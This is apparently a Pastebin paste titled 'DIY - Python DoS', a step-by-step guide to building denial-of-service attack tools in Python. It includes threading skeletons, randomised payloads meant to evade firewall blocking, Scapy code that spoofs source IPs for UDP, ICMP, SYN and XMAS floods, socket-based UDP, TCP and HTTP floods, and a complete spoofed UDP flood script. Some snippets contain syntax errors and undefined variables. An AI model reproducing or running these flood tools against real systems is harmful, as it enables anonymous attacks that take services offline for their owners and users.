Advertisement
betrayed

DIY - Python DoS

May 7th, 2024
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.27 KB | None | 0 0
  1. ____ ___ __ __ ____ _ _ ____ ____
  2. | _ \ |_ _| \ \ / / _ | _ \ _ _| |_| |__ ___ _ __ | _ \ ___/ ___|
  3. | | | | | | \ V / (_) | |_) | | | | __| '_ \ / _ \| '_ \ | | | |/ _ \___ \
  4. | |_| | | | | | _ | __/| |_| | |_| | | | (_) | | | | | |_| | (_) |__) |
  5. |____/ |___| |_| (_) |_| \__, |\__|_| |_|\___/|_| |_| |____/ \___/____/
  6. |___/
  7.  
  8. This guide explains how to properly and efficiently write a Denial of Service attack
  9. using the computer language Python. The focus is more on the skeletion / setup of the
  10. attack rather than the packet generation itself, however basic attacks such as UDP, TCP,
  11. HTTP, SYN, ACK, ICMP, etc are covered.
  12.  
  13. ===================================================================================
  14. ┌┬┐ ┬ ┬ ┬─┐ ┌─┐ ┌─┐ ┌┬┐ ┬ ┌┐┌ ┌─┐
  15. │ ├─┤ ├┬┘ ├┤ ├─┤ ││ │ │││ │ ┬
  16. ┴ ┴ ┴ ┴└─ └─┘ ┴ ┴ ─┴┘ ┴ ┘└┘ └─┘
  17. Here an example is given to show how to execute multiple concurrent thread
  18. procedures (w/ thread arguements)
  19.  
  20. import threading, time
  21.  
  22. def _attack(ip, _port, abort_event):
  23.  
  24. while not abort_event.is_set():
  25. try:
  26. # malicious packet generation here
  27. except:
  28. pass
  29.  
  30. def main():
  31. tasks = []
  32. abort_event = threading.Event()
  33.  
  34. # run 5 threads
  35. for _ in range(0, 5):
  36. t = threading.Thread(target=_attack, args=('127.0.0.1', 80, abort_event))
  37. t.daemon = True
  38. tasks.append(t)
  39. t.start()
  40.  
  41. try:
  42. i = input('Strike <ENTER> to abort...')
  43. except KeyboardInterrupt:
  44. pass
  45.  
  46. # trigger thread abort-event
  47. abort_event.set()
  48.  
  49. # ensure all thread/s are complete
  50. for t in tasks:
  51. t.join()
  52.  
  53. if __name__ == "__main__":
  54. main()
  55.  
  56. ===================================================================================
  57. ┌┬┐ ┬ ┬ ┬─┐ ┌─┐ ┌┬┐ ┬ ┌─┐ ┌┐┌
  58. ││ │ │ ├┬┘ ├─┤ │ │ │ │ │││
  59. ─┴┘ └─┘ ┴└─ ┴ ┴ ┴ ┴ └─┘ ┘└┘
  60. If you would like to see the thread/s active for a certain period in seconds,
  61. this method can be used instead of a manual user-interrupt
  62.  
  63. tasks = []
  64. abort_event = threading.Event()
  65.  
  66. # run 15 threads
  67. for _ in range(0, 5):
  68. t = threading.Thread(target=_attack, args=('127.0.0.1', 80, abort_event))
  69. t.daemon = True
  70. tasks.append(t) # add threads to list
  71. t.start()
  72.  
  73. # attack duration set for 5min
  74. _quit = time.time() + 300
  75. try:
  76. while time.time() <= _quit:
  77. pass
  78. except KeyboardInterrupt:
  79. # catch CTRL+C
  80. pass
  81.  
  82. # trigger thread abort-event
  83. abort_event.set()
  84.  
  85. # ensure all thread/s are complete
  86. for t in tasks:
  87. t.join()
  88.  
  89. ===================================================================================
  90. ┌┬┐ ┌─┐ ┌┬┐ ┌─┐ ┌┐ ┬ ┬ ┌─┐ ┌─┐ ┌─┐ ┬─┐
  91. ││ ├─┤ │ ├─┤ ├┴┐ │ │ ├┤ ├┤ ├┤ ├┬┘
  92. ─┴┘ ┴ ┴ ┴ ┴ ┴ └─┘ └─┘ └ └ └─┘ ┴└─
  93. When sending volumetric attacks (such as UDP, TCP, ICMP, etc) data should be
  94. generated. However, if you send a "static buffer" or a string of text that is
  95. fixed in content and length, it becomes easier to profile/block at the firewall
  96. level. To combat this, the below code will generate data on the basis of random
  97. characters and will choose from a random length range.
  98.  
  99. import random, string
  100.  
  101. def _attack():
  102. # character pool using letters, numbers, and symbols
  103. chars = string.ascii_letters + string.digits + string.printable
  104. while True:
  105. try:
  106. # generate random junk anywhere from 1,200 to 4,096 characters
  107. payload = ''.join(random.choice(chars) for _ in range(random.randint(1200, 4096)))
  108. payload.encode()
  109.  
  110. # packet generation here
  111. except:
  112. pass
  113.  
  114. ===================================================================================
  115. ┬ ┬ ┌─┐ ┌─┐ ┌┬┐ ┬─┐ ┌─┐ ┌─┐ ┌─┐ ┬ ┬ ┬ ┌┬┐ ┬ ┌─┐ ┌┐┌
  116. ├─┤ │ │ └─┐ │ ├┬┘ ├┤ └─┐ │ │ │ │ │ │ │ │ │ │││
  117. ┴ ┴ └─┘ └─┘ ┴ ┴└─ └─┘ └─┘ └─┘ ┴─┘ └─┘ ┴ ┴ └─┘ ┘└┘
  118. You may choose to have your script (either by CLI arguements or user-input) accept
  119. either an IP or URL/domain when attacking. By using the function below, it doesn't
  120. matter if the user enters either an IP or URL/domain. It will automatically be
  121. processed and returned as the resolved IP address.
  122.  
  123. from urllib.parse import urlparse
  124.  
  125. def resolve(_target):
  126. try:
  127. xhost = _target.lower()
  128. if not (xhost.lower().startswith("http://") or xhost.lower().startswith("https://")):
  129. xhost = "http://" + xhost
  130.  
  131. _domain = urlparse(xhost).netloc
  132. _ip = socket.gethostbyname(_domain)
  133.  
  134. return _ip
  135. except:
  136. # invalid ip/hostname
  137. sys.exit("DNS resolution error! Exiting...")
  138.  
  139. def main():
  140. _target = input('Enter in an IP or site: ')
  141. _ip = resolve(_target)
  142.  
  143. print('Now attacking ' + _ip)
  144.  
  145. if __name__ == "__main__":
  146. main()
  147.  
  148. ===================================================================================
  149. ┌─┐ ┬ ┬ ┌─┐ ┬─┐ ┌─┐ ┬ ┬ ┌┬┐ ┌─┐ ┌┐┌ ┌┬┐ ┌─┐
  150. │ │ │ ├─┤ ├┬┘ │ ┬ │ │ │││ ├┤ │││ │ └─┐
  151. └─┘ ┴─┘ ┴ ┴ ┴ ┴└─ └─┘ └─┘ ┴ ┴ └─┘ ┘└┘ ┴ └─┘
  152. Instead of using user-inputs, it may be more beneficial to use command line arguements
  153. instead.
  154.  
  155. Example: python3 MyScript.py www.example.com 80 300
  156.  
  157. This demonstrates that the script accepts a hostname, a port, and a duration in
  158. seconds. Here is an example of how you would do this
  159.  
  160. import sys
  161.  
  162. def main():
  163. # if the user enters in more of less
  164. # than 4 arguments, exit script
  165. if len(sys.argv) != 4:
  166. sys.exit('Usage: <domain> <port> <time>')
  167.  
  168. # Display the information back to the user
  169. print('Target: ' + sys.argv[1])
  170. print('Port #: ' + sys.argv[2])
  171. print('Length: ' + sys.argv[3] + ' seconds.')
  172.  
  173. sys.exit()
  174.  
  175. if __name__ == "__main__":
  176. main()
  177.  
  178. Let it be known: although the user is required to enter in three arguments (the
  179. domain, port, and time) the 'if len(sys.argv) != 4:' line specifies that four
  180. arguments must be given. That is because sys.argv[0] (or argument zero) is actually
  181. the name of the script (ex: MyScript.py). Although it is CLI arg zero, it is still
  182. counted in the grand total.
  183.  
  184. ===================================================================================
  185. ┬ ┌─┐ ┌─┐ ┌─┐ ┌─┐ ┌─┐ ┌─┐ ┬ ┌┐┌ ┌─┐
  186. │ ├─┘ └─┐ ├─┘ │ │ │ │ ├┤ │ │││ │ ┬
  187. ┴ ┴ └─┘ ┴ └─┘ └─┘ └ ┴ ┘└┘ └─┘
  188. When making use of the SCAPY library in python, you can spoof your IP address (aka, the
  189. source IP) to a randomly generated address. This means you no longer need to rely on VPN
  190. or proxy for anonymization. Note: not all protocols can be spoofed. UDP and ICMP can by
  191. spoofed, but not TCP and HTTP. However...The handshake that takes place before a TCP
  192. socket is establish CAN be spoofed, hence a spoofed SYN, SYN-ACK, or ACK flood.
  193. Keep in mind: Scapy requires root priviliges to run, since it creates a Raw Socket to
  194. spoof and send the data. Not running the script as root/admin will cause errors and may
  195. end up exposing your source IP address.
  196.  
  197. from scapy.all import *
  198.  
  199. def _attack():
  200. while True:
  201. try:
  202. # Generate a junk buffer to send
  203. payload = str('Get rekt noob!').encode()
  204.  
  205. # Generate a fake IP address
  206. fake_ip = ".".join(str(random.randint(0, 255)) for _ in range(4))
  207.  
  208.  
  209. # Below are a few types of spoofed packets scapy can send
  210. # Attack is being sent to 127.0.0.1:80
  211.  
  212. # UDP packet
  213. pkt = IP(src=fake_ip, dst='127.0.0.1') / UDP(sport=RandShort(), dport=80) / payload
  214.  
  215. # ICMP packet
  216. socket = conf.L2socket(iface='eth0') #whatever your NIC interface is
  217. pkt = IP(src=fake_ip, dst='127.0.0.1') / ICMP(type=8,code=0) / payload
  218.  
  219. # SYN packet
  220. pkt = IP(src=fake_ip, dst='127.0.0.1') / TCP(sport=RandShort(), dport=80), flags="S")
  221.  
  222. # ACK packet
  223. pkt = IP(src=fake_ip, dst='127.0.0.1') / TCP(sport=RandShort(), dport=80), flags="S")
  224.  
  225. # SYN-ACK packet
  226. pkt = IP(src=fake_ip, dst='127.0.0.1') / TCP(sport=RandShort(), dport=80), flags="S")
  227.  
  228. # DOMINATE packet
  229. pkt = IP(src=fake_ip, dst='127.0.0.1') / TCP(sport=RandShort(), dport=80), flags="SEC")
  230.  
  231. # XMAS packet
  232. pkt = IP(src=fake_ip, dst='127.0.0.1') / TCP(sport=RandShort(), dport=80), flags="FSRPAUEC")
  233.  
  234. # NULL packet
  235. pkt = IP(src=fake_ip, dst='127.0.0.1') / TCP(sport=RandShort(), dport=80), flags="")
  236.  
  237. # send spoofed packet
  238. send(pkt, verbose=False)
  239. except:
  240. pass
  241.  
  242. ===================================================================================
  243. ┌─┐ ┌─┐ ┌┐┌ ┌─┐ ┬ ┬─┐ ┌┬┐ ┬─┐ ┌─┐ ┌─┐ ┌┬┐
  244. │ │ │ │││ ├┤ │ ├┬┘ │││ ├┬┘ │ │ │ │ │
  245. └─┘ └─┘ ┘└┘ └ ┴ ┴└─ ┴ ┴ ┴└─ └─┘ └─┘ ┴
  246. As mentioned above, Scapy as well as other libraries require root/administrator
  247. elevation in order to run correctly. To confirm that the script is root, you can
  248. use this below code to determine if you have the correct rights on Linux/Unix
  249. systems
  250.  
  251. import os, sys
  252.  
  253. def _check_root():
  254. if not os.geteuid() == 0:
  255. sys.exit('Script requires root elevation! Exiting...')
  256.  
  257. Let it be known: although Scapy DOES technically run on Windows operating systems,
  258. it can be buggy and doesn't possess all of its full functionality due to OS limitations.
  259. It is always better to run these scripts in a Linux/Unix environment. Additionally, the
  260. script above confirms if you have root on a Linux/Unix system, not Windows.
  261.  
  262. ===================================================================================
  263. ┬ ┬ ┌┬┐ ┌─┐ ┌┬┐ ┌─┐ ┌─┐ ┌─┐ ┌┐┌ ┌┬┐ ┬ ┬ ┌┬┐ ┌┬┐ ┌─┐
  264. │ │ ││ ├─┘ │ │ ├─┘ ├─┤ │││ ││ ├─┤ │ │ ├─┘
  265. └─┘ ─┴┘ ┴ ┘ ┴ └─┘ ┴ ┘ ┴ ┴ ┘└┘ ─┴┘ ┴ ┴ ┴ ┴ ┴
  266. A more native method to launch UDP or TCP attacks via Python can be done using
  267. the Sockets library. Note: this method does not support spoofing and can leave
  268. your source IP exposed. User discretion is advised.
  269.  
  270. import socket
  271.  
  272. def _udp(ip, _port, abort_event):
  273.  
  274. while not abort_event.is_set():
  275. try:
  276. payload = str('Get rekt noob!').encode()
  277. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  278. s.connect((_ip, int(_port)))
  279. s.send(payload)
  280. except:
  281. pass
  282.  
  283. def _tcp(ip, _port, abort_event):
  284.  
  285. while not abort_event.is_set():
  286. try:
  287. payload = str('Get rekt noob!').encode()
  288. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  289. s.settimeout(1) #timeout 1sec
  290. s.connect((_ip, int(_port)))
  291. s.send(payload)
  292.  
  293. # reuse socket until force-closed by the endpoint.
  294. # This helps reduce socket exhaustion ('OSError' exceptions)
  295. while not abort_event.is_set():
  296. s.send(payload)
  297.  
  298. s.close()
  299. except:
  300. s.close()
  301.  
  302. In order to send an HTTP flood, you must first start out with a TCP socket. You
  303. connect on the web server's default HTTP port (default 80) and stream HTTP headers
  304. over the socket. This then upgrades the request from the Transport Layer to the
  305. Application layer and thus you've sent an HTTP request.
  306.  
  307. import socket, random, string
  308.  
  309. _useragent = [
  310. 'Opera/7.51 (Windows NT 5.1; U) [en]',
  311. 'Mozilla/4.5 [de] (Macintosh; I; PPC)',
  312. 'Mozilla/4.8 [en] (Windows NT 5.1; U)'
  313. ]
  314.  
  315. def _http(ip, _domain, _port, abort_event):
  316. global _useragent
  317.  
  318. # create reusable HTTP headers to send
  319. _static = "\r\nUser-agent: {}\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=10, max=1000\r\n"
  320.  
  321. while not abort_event.is_set():
  322. try:
  323. # send initial HTTP header
  324. header = "GET / HTTP/1.1\r\nHost:" + _domain + "\r\n"
  325.  
  326. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  327. s.connect((_ip, int(_port)))
  328. s.send(header.encode())
  329.  
  330. # re-use socket / send more unique headers
  331. while not abort_event.is_set():
  332. # randomize URL query + user-agent header
  333. junk = ''.join(random.choices(string.ascii_letters + string.digits, k=int(random.randint(10, 45))))
  334. header = "GET /{} HTTP/1.1\r\nHost:{} ".format(junk, _domain) + _static.format(random.choice(_usr))
  335. s.send(header.encode())
  336.  
  337. s.close()
  338. except:
  339. s.close()
  340.  
  341. ===================================================================================
  342. ┌─┐ ┬ ┌┐┌ ┬ ┌─┐ ┬ ┬ ┌─┐ ┌┬┐ ┌─┐ ┬─┐ ┌─┐ ┌┬┐ ┬ ┬ ┌─┐ ┌┬┐
  343. ├┤ │ │││ │ └─┐ ├─┤ ├┤ ││ ├─┘ ├┬┘ │ │ ││ │ │ │ │
  344. └ ┴ ┘└┘ ┴ └─┘ ┴ ┴ └─┘ ─┴┘ ┴ ┴└─ └─┘ ─┴┘ └─┘ └─┘ ┴
  345. Here is an example for a fully functional attack script, which uses the Scapy
  346. library to send a spoofed UDP volumetric flood to the target for a specific
  347. amount of time. Root elevation checks for Linux/Unix and hostname resolution
  348. are present in this script. Buffer is has dynamic character generation and is
  349. of a non-fixed length.
  350.  
  351. #!/usr/bin/env python3
  352. import sys
  353. import threading
  354. import os
  355. import socket
  356. import string
  357. import random
  358. import time
  359. from scapy.all import *
  360. from urllib.parse import urlparse
  361.  
  362. def worker(ip, min_bytes, max_bytes, abort_event):
  363. while not abort_event.is_set():
  364. try:
  365. payload = ''.join(random.choice(string.printable) for _ in range(random.randint(int(min_bytes), int(max_bytes))))
  366. src_ip = ".".join(str(random.randint(0, 255)) for _ in range(4))
  367. pkt = IP(src=src_ip, dst=ip) / UDP(sport=RandShort(), dport=int(sys.argv[2])) / payload.encode()
  368. send(pkt, verbose=False)
  369. except:
  370. pass
  371.  
  372. def resolve_domain(target):
  373. target = target.lower()
  374. if not (target.startswith('http://') or target.startswith('https://')):
  375. target = 'http://' + target
  376.  
  377. try:
  378. domain = urlparse(target).netloc
  379. ip = socket.gethostbyname(domain)
  380. return ip
  381. except Exception as e:
  382. sys.exit('DNS resolution failed. Exiting...')
  383.  
  384. def main():
  385. os.system('clear')
  386. if not os.geteuid() == 0:
  387. sys.exit('Script requires root elevation!')
  388.  
  389. if len(sys.argv) != 6:
  390. sys.exit('Usage: <target> <port> <byte range: x-y> <time> <threading>')
  391.  
  392. try:
  393. min_bytes, max_bytes = sys.argv[3].split('-')
  394. except ValueError:
  395. sys.exit('Invalid byte range specified. Exiting...')
  396.  
  397. target_ip = resolve_domain(sys.argv[1])
  398. print(' Attacking ' + target_ip + ':' + sys.argv[2] + ' for ' + sys.argv[4] + ' seconds. Strike <CTRL+C> to abort...\r\n')
  399.  
  400. tasks = []
  401. abort_event = threading.Event()
  402. for _ in range(0, int(sys.argv[5])):
  403. t = threading.Thread(target=worker, args=(target_ip, min_bytes, max_bytes, abort_event))
  404. t.daemon = True
  405. tasks.append(t)
  406. t.start()
  407.  
  408. _quit = time.time() + int(sys.argv[4])
  409. try:
  410. while time.time() <= _quit:
  411. pass
  412. except KeyboardInterrupt:
  413. pass
  414.  
  415. abort_event.set()
  416.  
  417. for t in tasks:
  418. t.join()
  419.  
  420. sys.exit('\r\n Done!\r\n')
  421.  
  422. if __name__ == '__main__':
  423. main()
  424.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement